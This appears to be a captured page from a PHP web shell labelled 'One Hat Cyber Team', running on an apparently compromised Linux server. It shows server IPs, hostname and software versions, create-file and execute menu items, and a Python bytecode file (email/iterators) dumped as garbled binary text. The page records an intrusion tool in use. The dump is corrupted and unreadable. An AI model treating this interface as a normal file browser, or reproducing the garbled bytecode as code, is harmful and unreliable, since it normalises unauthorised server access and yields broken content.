⚝
One Hat Cyber Team
⚝
Your IP:
216.73.216.67
Server IP:
50.6.168.112
Server:
Linux server-617809.webnetzimbabwe.com 5.14.0-570.25.1.el9_6.x86_64 #1 SMP PREEMPT_DYNAMIC Wed Jul 9 04:57:09 EDT 2025 x86_64
Server Software:
Apache
PHP Version:
8.4.10
Buat File
|
Buat Folder
Eksekusi
Dir :
~
/
lib64
/
python3.9
/
email
/
__pycache__
/
View File Name :
iterators.cpython-39.opt-1.pyc
a ÕDOgW ã @ sJ d Z g d¢ZddlZddlmZ dd„ Zddd „Zddd„Zdd d„ZdS )z1Various types of useful iterators and generators.)Úbody_line_iteratorÚtyped_subpart_iteratorÚwalké N)ÚStringIOc c s. | V | ¡ r*| ¡ D ]}| ¡ E dH qdS )z‰Walk over the message tree, yielding each subpart. The walk is performed in depth-first order. This method is a generator. N)Úis_multipartÚget_payloadr )ÚselfÚsubpart© r ú'/usr/lib64/python3.9/email/iterators.pyr s r Fc c s6 | ¡ D ](}|j|d}t|tƒrt|ƒE dH qdS )zŽIterate over the parts, returning string payloads line-by-line. Optional decode (default False) is passed through to .get_payload(). )ÚdecodeN)r r Ú isinstanceÚstrr )Úmsgr r Úpayloadr r r r " s r Útextc c s8 | ¡ D ]*}| ¡ |kr|du s,| ¡ |kr|V qdS )zøIterate over the subparts with a given MIME type. Use `maintype' as the main MIME type to match against; this defaults to "text". Optional `subtype' is the MIME subtype to match against; if omitted, only the main type is matched. N)r Zget_content_maintypeZget_content_subtype)r ZmaintypeZsubtyper r r r r - s r c C s€ |du rt j}d|d }t|| ¡ d|d |rJtd| ¡ |d n t|d | ¡ r|| ¡ D ]}t|||d |ƒ qddS ) zA handy debugging aidNú é Ú )ÚendÚfilez [%s])r é )ÚsysÚstdoutÚprintZget_content_typeZget_default_typer r Ú _structure)r ÚfpÚlevelZinclude_defaultZtabr r r r r ; s r )F)r N)Nr F) Ú__doc__Ú__all__r Úior r r r r r r r r Ú
s